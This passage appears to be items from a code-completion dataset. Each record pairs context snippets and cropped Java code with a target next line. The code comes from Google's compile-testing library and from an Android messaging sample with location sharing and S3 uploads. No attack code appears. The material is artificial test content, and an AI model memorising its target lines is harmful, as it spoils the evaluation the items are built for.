trees;\n }\n}" ]
import static com.google.common.truth.Fact.simpleFact; import static com.google.common.truth.Truth.assertAbout; import static com.google.testing.compile.CompilationSubject.compilations; import static com.google.testing.compile.Compiler.javac; import static com.google.testing.compile.JavaSourcesSubjectFactory.javaSources; import static com.google.testing.compile.TypeEnumerator.getTopLevelTypes; import static java.util.stream.Collectors.collectingAndThen; import static java.util.stream.Collectors.toList; import com.google.auto.value.AutoValue; import com.google.common.base.Joiner; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableMap; import com.google.common.collect.ImmutableSet; import com.google.common.collect.Iterables; import com.google.common.collect.Lists; import com.google.common.collect.Maps; import com.google.common.io.ByteSource; import com.google.common.truth.FailureMetadata; import com.google.common.truth.Subject; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.testing.compile.CompilationSubject.DiagnosticAtColumn; import com.google.testing.compile.CompilationSubject.DiagnosticInFile; import com.google.testing.compile.CompilationSubject.DiagnosticOnLine; import com.google.testing.compile.Parser.ParseResult; import com.sun.source.tree.CompilationUnitTree; import java.io.File; import java.io.IOException; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Optional; import java.util.stream.Collector; import javax.annotation.processing.Processor; import javax.tools.Diagnostic; import javax.tools.Diagnostic.Kind; import javax.tools.JavaFileManager; import javax.tools.JavaFileObject; import org.checkerframework.checker.nullness.qual.Nullable;
/* * Copyright (C) 2013 Google, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.testing.compile; /** * A <a href="https://github.com/truth0/truth">Truth</a> {@link Subject} that evaluates the result * of a {@code javac} compilation. See {@link com.google.testing.compile} for usage examples * * @author Gregory Kick */ @SuppressWarnings("restriction") // Sun APIs usage intended public final class JavaSourcesSubject extends Subject implements CompileTester, ProcessedCompileTesterFactory { private final Iterable<? extends JavaFileObject> actual; private final List<String> options = new ArrayList<>(Arrays.asList("-Xlint")); @Nullable private ClassLoader classLoader; @Nullable private ImmutableList<File> classPath; JavaSourcesSubject(FailureMetadata failureMetadata, Iterable<? extends JavaFileObject> subject) { super(failureMetadata, subject); this.actual = subject; } @Override public JavaSourcesSubject withCompilerOptions(Iterable<String> options) { Iterables.addAll(this.options, options); return this; } @Override public JavaSourcesSubject withCompilerOptions(String... options) { this.options.addAll(Arrays.asList(options)); return this; } /** * @deprecated prefer {@link #withClasspath(Iterable)}. This method only supports {@link * java.net.URLClassLoader} and the default system classloader, and {@link File}s are usually * a more natural way to expression compilation classpaths than class loaders. */ @Deprecated @Override public JavaSourcesSubject withClasspathFrom(ClassLoader classLoader) { this.classLoader = classLoader; return this; } @Override public JavaSourcesSubject withClasspath(Iterable<File> classPath) { this.classPath = ImmutableList.copyOf(classPath); return this; } @Override public CompileTester processedWith(Processor first, Processor... rest) { return processedWith(Lists.asList(first, rest)); } @Override public CompileTester processedWith(Iterable<? extends Processor> processors) { return new CompilationClause(processors); } @Override public void parsesAs(JavaFileObject first, JavaFileObject... rest) { new CompilationClause().parsesAs(first, rest); } @CanIgnoreReturnValue @Override public SuccessfulCompilationClause compilesWithoutError() { return new CompilationClause().compilesWithoutError(); } @CanIgnoreReturnValue @Override public CleanCompilationClause compilesWithoutWarnings() { return new CompilationClause().compilesWithoutWarnings(); } @CanIgnoreReturnValue @Override public UnsuccessfulCompilationClause failsToCompile() { return new CompilationClause().failsToCompile(); } /** The clause in the fluent API for testing compilations. */ private final class CompilationClause implements CompileTester { private final ImmutableSet<Processor> processors; private CompilationClause() { this(ImmutableSet.of()); } private CompilationClause(Iterable<? extends Processor> processors) { this.processors = ImmutableSet.copyOf(processors); } @Override public void parsesAs(JavaFileObject first, JavaFileObject... rest) { if (Iterables.isEmpty(actual)) { failWithoutActual( simpleFact( "Compilation generated no additional source files, though some were expected.")); return; } ParseResult actualResult = Parser.parse(actual); ImmutableList<Diagnostic<? extends JavaFileObject>> errors = actualResult.diagnosticsByKind().get(Kind.ERROR); if (!errors.isEmpty()) { StringBuilder message = new StringBuilder("Parsing produced the following errors:\n"); for (Diagnostic<? extends JavaFileObject> error : errors) { message.append('\n'); message.append(error); } failWithoutActual(simpleFact(message.toString())); return; } ParseResult expectedResult = Parser.parse(Lists.asList(first, rest)); ImmutableList<TypedCompilationUnit> actualTrees = actualResult.compilationUnits().stream() .map(TypedCompilationUnit::create) .collect(toImmutableList()); ImmutableList<TypedCompilationUnit> expectedTrees = expectedResult.compilationUnits().stream() .map(TypedCompilationUnit::create) .collect(toImmutableList()); ImmutableMap<TypedCompilationUnit, Optional<TypedCompilationUnit>> matchedTrees = Maps.toMap( expectedTrees, expectedTree -> actualTrees.stream() .filter(actualTree -> expectedTree.types().equals(actualTree.types())) .findFirst()); matchedTrees.forEach( (expectedTree, maybeActualTree) -> { if (!maybeActualTree.isPresent()) { failNoCandidates(expectedTree.types(), expectedTree.tree(), actualTrees); return; } TypedCompilationUnit actualTree = maybeActualTree.get(); TreeDifference treeDifference = TreeDiffer.diffCompilationUnits(expectedTree.tree(), actualTree.tree()); if (!treeDifference.isEmpty()) { String diffReport = treeDifference.getDiffReport( new TreeContext(expectedTree.tree(), expectedResult.trees()), new TreeContext(actualTree.tree(), actualResult.trees())); failWithCandidate( expectedTree.tree().getSourceFile(), actualTree.tree().getSourceFile(), diffReport); } }); } /** Called when the {@code generatesSources()} verb fails with no diff candidates. */ private void failNoCandidates( ImmutableSet<String> expectedTypes, CompilationUnitTree expectedTree, ImmutableList<TypedCompilationUnit> actualTrees) { String generatedTypesReport = Joiner.on('\n') .join( actualTrees.stream() .map( generated -> String.format( "- %s in <%s>", generated.types(), generated.tree().getSourceFile().toUri().getPath())) .collect(toList())); failWithoutActual( simpleFact( Joiner.on('\n') .join( "", "An expected source declared one or more top-level types that were not " + "present.", "", String.format("Expected top-level types: <%s>", expectedTypes), String.format( "Declared by expected file: <%s>", expectedTree.getSourceFile().toUri().getPath()), "", "The top-level types that were present are as follows: ", "", generatedTypesReport, ""))); } /** Called when the {@code generatesSources()} verb fails with a diff candidate. */ private void failWithCandidate( JavaFileObject expectedSource, JavaFileObject actualSource, String diffReport) { try { failWithoutActual( simpleFact( Joiner.on('\n') .join( "", "Source declared the same top-level types of an expected source, but", "didn't match exactly.", "", String.format("Expected file: <%s>", expectedSource.toUri().getPath()), String.format("Actual file: <%s>", actualSource.toUri().getPath()), "", "Diffs:", "======", "", diffReport, "", "Expected Source: ", "================", "", expectedSource.getCharContent(false).toString(), "", "Actual Source:", "=================", "", actualSource.getCharContent(false).toString()))); } catch (IOException e) { throw new IllegalStateException( "Couldn't read from JavaFileObject when it was already " + "in memory.", e); } } @CanIgnoreReturnValue @Override public SuccessfulCompilationClause compilesWithoutError() { Compilation compilation = compilation();
check("compilation()").about(compilations()).that(compilation).succeeded();
0
magnetsystems/message-samples-android
RichMessaging/app/src/main/java/com/magnet/messagingsample/activities/ChatActivity.java
[ "public class MessageRecyclerViewAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {\n\n private static final int TEXT_TYPE = 0;\n private static final int IMAGE_TYPE = 1;\n private static final int MAP_TYPE = 2;\n private static final int VIDEO_TYPE = 3;\n\n private List<Object> messageItems;\n public Activity mActivity;\n\n public MessageRecyclerViewAdapter(Activity activity, List<Object> items) {\n this.messageItems = items;\n this.mActivity = activity;\n }\n\n class ViewHolderText extends RecyclerView.ViewHolder {\n public TextView tvMessageText;\n private LinearLayout wrapper;\n\n public ViewHolderText(View itemView) {\n super(itemView);\n this.wrapper = (LinearLayout) itemView.findViewById(R.id.wrapper);\n this.tvMessageText = (TextView) itemView.findViewById(R.id.tvMessageText);\n }\n }\n\n class ViewHolderImage extends RecyclerView.ViewHolder implements View.OnClickListener {\n public ImageView ivMessageImage;\n private LinearLayout wrapper;\n\n public ViewHolderImage(View itemView) {\n super(itemView);\n this.wrapper = (LinearLayout) itemView.findViewById(R.id.wrapper);\n this.ivMessageImage = (ImageView) itemView.findViewById(R.id.ivMessageImage);\n itemView.setOnClickListener(this);\n }\n\n @Override\n public void onClick(View view) {\n if (messageItems.size() > 0) {\n MessageImage item = (MessageImage) messageItems.get(getAdapterPosition());\n goToImageViewActivity(item.imageUrl);\n }\n }\n }\n\n class ViewHolderMap extends RecyclerView.ViewHolder implements View.OnClickListener {\n private LinearLayout wrapper;\n public ImageView ivMessageLocation;\n\n public ViewHolderMap(View itemView) {\n super(itemView);\n this.wrapper = (LinearLayout) itemView.findViewById(R.id.wrapper);\n this.ivMessageLocation = (ImageView) itemView.findViewById(R.id.ivMessageLocation);\n itemView.setOnClickListener(this);\n }\n\n @Override\n public void onClick(View view) {\n if (messageItems.size() > 0) {\n MessageMap item = (MessageMap) messageItems.get(getAdapterPosition());\n goToMapViewActivity(item.latlng);\n }\n }\n }\n\n class ViewHolderVideo extends RecyclerView.ViewHolder implements View.OnClickListener {\n private LinearLayout wrapper;\n public ImageView ivVideoPlayButton;\n\n public ViewHolderVideo(View itemView) {\n super(itemView);\n this.wrapper = (LinearLayout) itemView.findViewById(R.id.wrapper);\n this.ivVideoPlayButton = (ImageView) itemView.findViewById(R.id.ivVideoPlayButton);\n itemView.setOnClickListener(this);\n }\n\n @Override\n public void onClick(View view) {\n if (messageItems.size() > 0) {\n MessageVideo item = (MessageVideo) messageItems.get(getAdapterPosition());\n goToVideoViewActivity(item.videoUrl);\n }\n }\n }\n\n @Override\n public int getItemCount() {\n return this.messageItems.size();\n }\n\n @Override\n public int getItemViewType(int position) {\n if (messageItems.get(position) instanceof MessageText) {\n return TEXT_TYPE;\n } else if (messageItems.get(position) instanceof MessageImage) {\n return IMAGE_TYPE;\n } else if (messageItems.get(position) instanceof MessageMap) {\n return MAP_TYPE;\n } else if (messageItems.get(position) instanceof MessageVideo) {\n return VIDEO_TYPE;\n }\n return -1;\n }\n\n @Override\n public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n View view;\n RecyclerView.ViewHolder viewHolder;\n LayoutInflater inflater = LayoutInflater.from(parent.getContext());\n\n switch (viewType) {\n case IMAGE_TYPE:\n view = inflater.inflate(R.layout.item_chat_image, parent, false);\n viewHolder = new ViewHolderImage(view);\n break;\n case MAP_TYPE:\n view = inflater.inflate(R.layout.item_chat_map, parent, false);\n viewHolder = new ViewHolderMap(view);\n break;\n case VIDEO_TYPE:\n view = inflater.inflate(R.layout.item_chat_video, parent, false);\n viewHolder = new ViewHolderVideo(view);\n break;\n default:\n view = inflater.inflate(R.layout.item_chat_text, parent, false);\n viewHolder = new ViewHolderText(view);\n break;\n }\n return viewHolder;\n }\n\n @Override\n public void onBindViewHolder(RecyclerView.ViewHolder viewHolder, int position) {\n if (position >= messageItems.size()) {\n return;\n }\n switch (viewHolder.getItemViewType()) {\n case TEXT_TYPE:\n configureViewHolder1((ViewHolderText) viewHolder, position);\n break;\n case IMAGE_TYPE:\n configureViewHolder2((ViewHolderImage) viewHolder, position);\n break;\n case MAP_TYPE:\n configureViewHolder3((ViewHolderMap) viewHolder, position);\n break;\n case VIDEO_TYPE:\n configureViewHolder4((ViewHolderVideo) viewHolder, position);\n break;\n }\n }\n\n private void configureViewHolder1(ViewHolderText vh, int position) {\n MessageText item = (MessageText) messageItems.get(position);\n if (item != null) {\n vh.tvMessageText.setText(item.text);\n vh.tvMessageText.setBackgroundResource(item.left ? R.drawable.bubble_yellow : R.drawable.bubble_green);\n vh.wrapper.setGravity(item.left ? Gravity.LEFT : Gravity.RIGHT);\n }\n }\n\n private void configureViewHolder2(ViewHolderImage vh, int position) {\n MessageImage item = (MessageImage) messageItems.get(position);\n if (item != null) {\n vh.ivMessageImage.setBackgroundResource(item.left ? R.drawable.bubble_yellow : R.drawable.bubble_green);\n vh.wrapper.setGravity(item.left ? Gravity.LEFT : Gravity.RIGHT);\n Picasso.with(mActivity).load(item.imageUrl).into(vh.ivMessageImage);\n }\n }\n\n private void configureViewHolder3(ViewHolderMap vh, int position) {\n final MessageMap item = (MessageMap) messageItems.get(position);\n if (item != null) {\n vh.ivMessageLocation.setBackgroundResource(item.left ? R.drawable.bubble_yellow : R.drawable.bubble_green);\n vh.wrapper.setGravity(item.left ? Gravity.LEFT : Gravity.RIGHT);\n String loc = \"http://maps.google.com/maps/api/staticmap?center=\"+item.latlng+\"&zoom=18&size=700x300&sensor=false&markers=color:blue%7Clabel:S%7C\"+item.latlng;\n Picasso.with(mActivity).load(loc).into(vh.ivMessageLocation);\n }\n }\n\n private void configureViewHolder4(final ViewHolderVideo vh, int position) {\n final MessageVideo item = (MessageVideo) messageItems.get(position);\n if (item != null) {\n vh.ivVideoPlayButton.setBackgroundResource(item.left ? R.drawable.bubble_yellow : R.drawable.bubble_green);\n vh.wrapper.setGravity(item.left ? Gravity.LEFT : Gravity.RIGHT);\n }\n }\n\n public void goToMapViewActivity(String latlng) {\n Intent intent;\n intent = new Intent(mActivity, MapViewActivity.class);\n intent.putExtra(\"latlng\", latlng);\n mActivity.startActivity(intent);\n }\n\n public void goToImageViewActivity(String url) {\n Intent intent;\n intent = new Intent(mActivity, ImageViewActivity.class);\n intent.putExtra(\"imageUrl\", url);\n mActivity.startActivity(intent);\n }\n\n public void goToVideoViewActivity(String url) {\n Intent intent;\n intent = new Intent(mActivity, VideoViewActivity.class);\n intent.putExtra(\"videoUrl\", url);\n mActivity.startActivity(intent);\n }\n\n public void add(Object obj) {\n messageItems.add(obj);\n }\n\n}", "public class FileHelper {\n\n /**\n * Get a file path from a Uri. This will get the the path for Storage Access\n * Framework Documents, as well as the _data field for the MediaStore and\n * other file-based ContentProviders.\n *\n * @param context The context.\n * @param uri The Uri to query.\n * @author paulburke\n */\n public static String getPath(final Context context, final Uri uri) {\n\n final boolean isKitKat = Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT;\n\n // DocumentProvider\n if (isKitKat && DocumentsContract.isDocumentUri(context, uri)) {\n // ExternalStorageProvider\n if (isExternalStorageDocument(uri)) {\n final String docId = DocumentsContract.getDocumentId(uri);\n final String[] split = docId.split(\":\");\n final String type = split[0];\n\n if (\"primary\".equalsIgnoreCase(type)) {\n return Environment.getExternalStorageDirectory() + \"/\" + split[1];\n }\n\n // TODO handle non-primary volumes\n }\n // DownloadsProvider\n else if (isDownloadsDocument(uri)) {\n\n final String id = DocumentsContract.getDocumentId(uri);\n final Uri contentUri = ContentUris.withAppendedId(\n Uri.parse(\"content://downloads/public_downloads\"), Long.valueOf(id));\n\n return getDataColumn(context, contentUri, null, null);\n }\n // MediaProvider\n else if (isMediaDocument(uri)) {\n final String docId = DocumentsContract.getDocumentId(uri);\n final String[] split = docId.split(\":\");\n final String type = split[0];\n\n Uri contentUri = null;\n if (\"image\".equals(type)) {\n contentUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;\n } else if (\"video\".equals(type)) {\n contentUri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;\n } else if (\"audio\".equals(type)) {\n contentUri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;\n }\n\n final String selection = \"_id=?\";\n final String[] selectionArgs = new String[] {\n split[1]\n };\n\n return getDataColumn(context, contentUri, selection, selectionArgs);\n }\n }\n // MediaStore (and general)\n else if (\"content\".equalsIgnoreCase(uri.getScheme())) {\n return getDataColumn(context, uri, null, null);\n }\n // File\n else if (\"file\".equalsIgnoreCase(uri.getScheme())) {\n return uri.getPath();\n }\n\n return null;\n }\n\n /**\n * Get the value of the data column for this Uri. This is useful for\n * MediaStore Uris, and other file-based ContentProviders.\n *\n * @param context The context.\n * @param uri The Uri to query.\n * @param selection (Optional) Filter used in the query.\n * @param selectionArgs (Optional) Selection arguments used in the query.\n * @return The value of the _data column, which is typically a file path.\n */\n public static String getDataColumn(Context context, Uri uri, String selection,\n String[] selectionArgs) {\n\n Cursor cursor = null;\n final String column = \"_data\";\n final String[] projection = {\n column\n };\n\n try {\n cursor = context.getContentResolver().query(uri, projection, selection, selectionArgs,\n null);\n if (cursor != null && cursor.moveToFirst()) {\n final int column_index = cursor.getColumnIndexOrThrow(column);\n return cursor.getString(column_index);\n }\n } finally {\n if (cursor != null)\n cursor.close();\n }\n return null;\n }\n\n\n /**\n * @param uri The Uri to check.\n * @return Whether the Uri authority is ExternalStorageProvider.\n */\n public static boolean isExternalStorageDocument(Uri uri) {\n return \"com.android.externalstorage.documents\".equals(uri.getAuthority());\n }\n\n /**\n * @param uri The Uri to check.\n * @return Whether the Uri authority is DownloadsProvider.\n */\n public static boolean isDownloadsDocument(Uri uri) {\n return \"com.android.providers.downloads.documents\".equals(uri.getAuthority());\n }\n\n /**\n * @param uri The Uri to check.\n * @return Whether the Uri authority is MediaProvider.\n */\n public static boolean isMediaDocument(Uri uri) {\n return \"com.android.providers.media.documents\".equals(uri.getAuthority());\n }\n\n}", "public class MessageImage {\n\n public boolean left;\n public String imageUrl;\n\n public MessageImage(boolean left, String imageUrl) {\n super();\n this.left = left;\n this.imageUrl = imageUrl;\n }\n\n}", "public class MessageMap {\n\n public boolean left;\n public String latlng;\n\n public MessageMap(boolean left, String latlng) {\n super();\n this.left = left;\n this.latlng = latlng;\n }\n\n}", "public class MessageText {\n\n public boolean left;\n public String text;\n\n public MessageText(boolean left, String text) {\n super();\n this.left = left;\n this.text = text;\n }\n\n}", "public class MessageVideo {\n\n public boolean left;\n public String videoUrl;\n\n public MessageVideo(boolean left, String videoUrl) {\n super();\n this.left = left;\n this.videoUrl = videoUrl;\n }\n\n}", "public class User implements Parcelable {\n\n public User() { }\n\n private String id;\n private String email;\n private String username;\n\n public String getId() {\n return id;\n }\n\n public void setId(String id) {\n this.id = id;\n }\n\n public String getEmail() {\n return email;\n }\n\n public void setEmail(String email) {\n this.email = email;\n }\n\n public String getUsername() {\n return username;\n }\n\n public void setUsername(String username) {\n this.username = username;\n }\n\n protected User(Parcel in) {\n id = in.readString();\n email = in.readString();\n username = in.readString();\n }\n\n @Override\n public int describeContents() {\n return 0;\n }\n\n @Override\n public void writeToParcel(Parcel dest, int flags) {\n dest.writeString(id);\n dest.writeString(email);\n dest.writeString(username);\n }\n\n @SuppressWarnings(\"unused\")\n public static final Parcelable.Creator<User> CREATOR = new Parcelable.Creator<User>() {\n @Override\n public User createFromParcel(Parcel in) {\n return new User(in);\n }\n\n @Override\n public User[] newArray(int size) {\n return new User[size];\n }\n };\n}", "public class GPSTracker extends Service implements LocationListener {\n\n // flag for GPS status\n boolean isGPSEnabled = false;\n\n // flag for network status\n boolean isNetworkEnabled = false;\n\n // flag for GPS status\n boolean canGetLocation = false;\n\n Location location; // location\n double latitude; // latitude\n double longitude; // longitude\n\n // The minimum distance to change Updates in meters\n private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 10; // 10 meters\n\n // The minimum time between updates in milliseconds\n private static final long MIN_TIME_BW_UPDATES = 1000 * 60 * 1; // 1 minute\n\n // Declaring a Location Manager\n protected LocationManager locationManager;\n\n public GPSTracker(Context context) {\n getLocation(context);\n }\n\n public Location getLocation(Context context) {\n try {\n locationManager = (LocationManager) context\n .getSystemService(LOCATION_SERVICE);\n\n // getting GPS status\n isGPSEnabled = locationManager\n .isProviderEnabled(LocationManager.GPS_PROVIDER);\n\n // getting network status\n isNetworkEnabled = locationManager\n .isProviderEnabled(LocationManager.NETWORK_PROVIDER);\n\n if (!isGPSEnabled && !isNetworkEnabled) {\n // no network provider is enabled\n } else {\n this.canGetLocation = true;\n // First get location from Network Provider\n if (isNetworkEnabled) {\n locationManager.requestLocationUpdates(\n LocationManager.NETWORK_PROVIDER,\n MIN_TIME_BW_UPDATES,\n MIN_DISTANCE_CHANGE_FOR_UPDATES, this);\n Log.d(\"Network\", \"Network\");\n if (locationManager != null) {\n location = locationManager\n .getLastKnownLocation(LocationManager.NETWORK_PROVIDER);\n if (location != null) {\n latitude = location.getLatitude();\n longitude = location.getLongitude();\n }\n }\n }\n // if GPS Enabled get lat/long using GPS Services\n if (isGPSEnabled) {\n if (location == null) {\n locationManager.requestLocationUpdates(\n LocationManager.GPS_PROVIDER,\n MIN_TIME_BW_UPDATES,\n MIN_DISTANCE_CHANGE_FOR_UPDATES, this);\n Log.d(\"GPS Enabled\", \"GPS Enabled\");\n if (locationManager != null) {\n location = locationManager\n .getLastKnownLocation(LocationManager.GPS_PROVIDER);\n if (location != null) {\n latitude = location.getLatitude();\n longitude = location.getLongitude();\n }\n }\n }\n }\n }\n\n } catch (Exception e) {\n e.printStackTrace();\n }\n\n return location;\n }\n\n /**\n * Stop using GPS listener\n * Calling this function will stop using GPS in your app\n * */\n public void stopUsingGPS() {\n if (locationManager != null) {\n locationManager.removeUpdates(GPSTracker.this);\n }\n }\n\n /**\n * Function to get latitude\n * */\n public double getLatitude() {\n if (location != null) {\n latitude = location.getLatitude();\n }\n\n // return latitude\n return latitude;\n }\n\n /**\n * Function to get longitude\n * */\n public double getLongitude() {\n if (location != null) {\n longitude = location.getLongitude();\n }\n\n // return longitude\n return longitude;\n }\n\n /**\n * Function to check GPS/wifi enabled\n * @return boolean\n * */\n public boolean canGetLocation() {\n return this.canGetLocation;\n }\n\n /**\n * Function to show settings alert dialog\n * On pressing Settings button will lauch Settings Options\n * */\n public void showSettingsAlert(final Context context) {\n AlertDialog.Builder alertDialog = new AlertDialog.Builder(context);\n\n // Setting Dialog Title\n alertDialog.setTitle(\"GPS is settings\");\n\n // Setting Dialog Message\n alertDialog.setMessage(\"GPS is not enabled. Do you want to go to settings menu?\");\n\n // On pressing Settings button\n alertDialog.setPositiveButton(\"Settings\", new DialogInterface.OnClickListener() {\n public void onClick(DialogInterface dialog,int which) {\n Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);\n context.startActivity(intent);\n }\n });\n\n // on pressing cancel button\n alertDialog.setNegativeButton(\"Cancel\", new DialogInterface.OnClickListener() {\n public void onClick(DialogInterface dialog, int which) {\n dialog.cancel();\n }\n });\n\n // Showing Alert Message\n alertDialog.show();\n }\n\n @Override\n public void onLocationChanged(Location location) {\n }\n\n @Override\n public void onProviderDisabled(String provider) {\n }\n\n @Override\n public void onProviderEnabled(String provider) {\n }\n\n @Override\n public void onStatusChanged(String provider, int status, Bundle extras) {\n }\n\n @Override\n public IBinder onBind(Intent arg0) {\n return null;\n }\n\n}", "public class S3UploadService {\n\n private static final String TAG = \"S3UploadService\";\n private static final String AWS_S3_BUCKETNAME = \"richmessagebucket\"; // AWS bucket name\n private static final String AWS_IDENTITY_POOL_ID = \"\"; // AWS Cognito Identity Pool Id\n private static final Regions AWS_REGION = Regions.US_EAST_1;\n private static final String PREFIX = \"magnet_test\"; // bucket folder name\n\n private static AmazonS3Client mS3Client;\n private static TransferUtility sTransferUtility = null;\n\n /**\n * Initializes the AWS S3 credentials provider and transfer manager\n */\n public static void init(Context context) {\n // Initialize the Amazon Cognito credentials provider\n CognitoCachingCredentialsProvider credentialsProvider = new CognitoCachingCredentialsProvider(\n context.getApplicationContext(), // Context\n AWS_IDENTITY_POOL_ID, // Identity Pool ID\n AWS_REGION // Region\n );\n mS3Client = new AmazonS3Client(credentialsProvider);\n sTransferUtility = new TransferUtility(mS3Client, context);\n }\n\n /**\n * Shuts down this client object, releasing any resources that might be held open\n */\n public static void destroy() {\n mS3Client.shutdown();\n }\n\n /**\n * Generates a key for use with the external storage provider. This could also just\n * be a unique path/filename.\n */\n public static String generateKey(File file) {\n String suffix = \"\";\n String path = file.getPath();\n int idx = path.lastIndexOf('.');\n if (idx >= 0) {\n suffix = path.substring(idx);\n }\n return PREFIX + \"/\" + UUID.randomUUID().toString() + suffix;\n }\n\n /**\n * Builds a URL for the file to be retrieved from the external provider. In this example for Amazon S3,\n * it is based off of a bucket name and a key\n */\n public static String buildUrl(String key) {\n //construct the publicly accessible url for the file\n //in this case, we have our bucket name and the key\n return \"https://s3-us-west-2.amazonaws.com/\" + AWS_S3_BUCKETNAME + \"/\" + key;\n }\n\n /**\n * Uploads the file to the external storage provider\n */\n public static void uploadFile(String key, File file, TransferListener listener) {\n final TransferObserver uploadObserver = sTransferUtility.upload(AWS_S3_BUCKETNAME, key, file);\n uploadObserver.setTransferListener(listener);\n }\n}" ]
import android.app.ActionBar; import android.app.Activity; import android.content.Context; import android.content.CursorLoader; import android.content.Intent; import android.database.Cursor; import android.graphics.Bitmap; import android.net.Uri; import android.os.Parcelable; import android.provider.MediaStore; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.view.KeyEvent; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.EditText; import android.widget.ImageButton; import android.widget.Toast; import com.amazonaws.mobileconnectors.s3.transferutility.TransferListener; import com.amazonaws.mobileconnectors.s3.transferutility.TransferState; import com.facebook.Profile; import com.facebook.login.LoginManager; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.OnMapReadyCallback; import com.magnet.messagingsample.R; import com.magnet.messagingsample.adapters.MessageRecyclerViewAdapter; import com.magnet.messagingsample.helpers.FileHelper; import com.magnet.messagingsample.models.MessageImage; import com.magnet.messagingsample.models.MessageMap; import com.magnet.messagingsample.models.MessageText; import com.magnet.messagingsample.models.MessageVideo; import com.magnet.messagingsample.models.User; import com.magnet.messagingsample.services.GPSTracker; import com.magnet.messagingsample.services.S3UploadService; import com.magnet.mmx.client.api.MMX; import com.magnet.mmx.client.api.MMXMessage; import com.magnet.mmx.client.api.MMXUser; import org.apache.http.client.HttpClient; import org.apache.http.impl.client.DefaultHttpClient; import java.io.File; import java.io.IOException; import java.text.ParseException; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.concurrent.atomic.AtomicBoolean; import jp.wasabeef.recyclerview.animators.adapters.SlideInBottomAnimationAdapter; import nl.changer.polypicker.Config; import nl.changer.polypicker.ImagePickerActivity;
MMX.registerListener(mEventListener); S3UploadService.init(this); mGPS = new GPSTracker(this); ActionBar ab = getActionBar(); if (ab != null) { ab.setTitle("Chatting With: " + mUser.getUsername()); } rvMessages = (RecyclerView) findViewById(R.id.rvMessages); etMessage = (EditText) findViewById(R.id.etMessage); btnSendText = (ImageButton) findViewById(R.id.btnSendText); btnSendPicture = (ImageButton) findViewById(R.id.btnSendPicture); btnSendLocation = (ImageButton) findViewById(R.id.btnSendLocation); btnSendVideo = (ImageButton) findViewById(R.id.btnSendVideo); messageList = new ArrayList<>(); adapter = new MessageRecyclerViewAdapter(this, messageList); rvMessages.setAdapter(new SlideInBottomAnimationAdapter(adapter)); final LinearLayoutManager layoutManager = new LinearLayoutManager(this); layoutManager.setOrientation(LinearLayoutManager.VERTICAL); layoutManager.setStackFromEnd(true); layoutManager.setReverseLayout(false); rvMessages.setLayoutManager(layoutManager); etMessage.setOnKeyListener(new View.OnKeyListener() { public boolean onKey(View v, int keyCode, KeyEvent event) { if ((event.getAction() == KeyEvent.ACTION_DOWN) && (keyCode == KeyEvent.KEYCODE_ENTER)) { sendMessage(); return true; } return false; } }); btnSendText.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { sendMessage(); } }); btnSendPicture.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { selectImage(); } }); btnSendLocation.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { sendLocation(); } }); btnSendVideo.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { selectVideo(); } }); } public void sendMessage() { String messageText = etMessage.getText().toString(); if (messageText.isEmpty()) { return; } updateList(KEY_MESSAGE_TEXT, messageText, false); HashMap<String, String> content = new HashMap<>(); content.put("type", KEY_MESSAGE_TEXT); content.put("message", messageText); send(content); etMessage.setText(null); } private void selectImage() { Intent intent = new Intent(this, ImagePickerActivity.class); Config config = new Config.Builder() .setTabBackgroundColor(R.color.white) .setSelectionLimit(1) .build(); ImagePickerActivity.setConfig(config); startActivityForResult(intent, INTENT_REQUEST_GET_IMAGES); } private void selectVideo() { Intent intent = new Intent(); intent.setType("video/*"); intent.setAction(Intent.ACTION_GET_CONTENT); startActivityForResult(Intent.createChooser(intent, "Select a Video "), INTENT_SELECT_VIDEO); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent intent) { super.onActivityResult(requestCode, resultCode, intent); if (resultCode == Activity.RESULT_OK) { if (requestCode == INTENT_REQUEST_GET_IMAGES) { Parcelable[] parcelableUris = intent.getParcelableArrayExtra(ImagePickerActivity.EXTRA_IMAGE_URIS); if (parcelableUris == null) { return; } // Java doesn't allow array casting, this is a little hack Uri[] uris = new Uri[parcelableUris.length]; System.arraycopy(parcelableUris, 0, uris, 0, parcelableUris.length); if (uris != null && uris.length > 0) { for (Uri uri : uris) { sendMedia(KEY_MESSAGE_IMAGE, uri.toString()); } } } else if (requestCode == INTENT_SELECT_VIDEO) { Uri videoUri = intent.getData();
String videoPath = FileHelper.getPath(this, videoUri);
1
CrypDist/CrypDist
Client/src/main/java/Blockchain/BlockchainManager.java
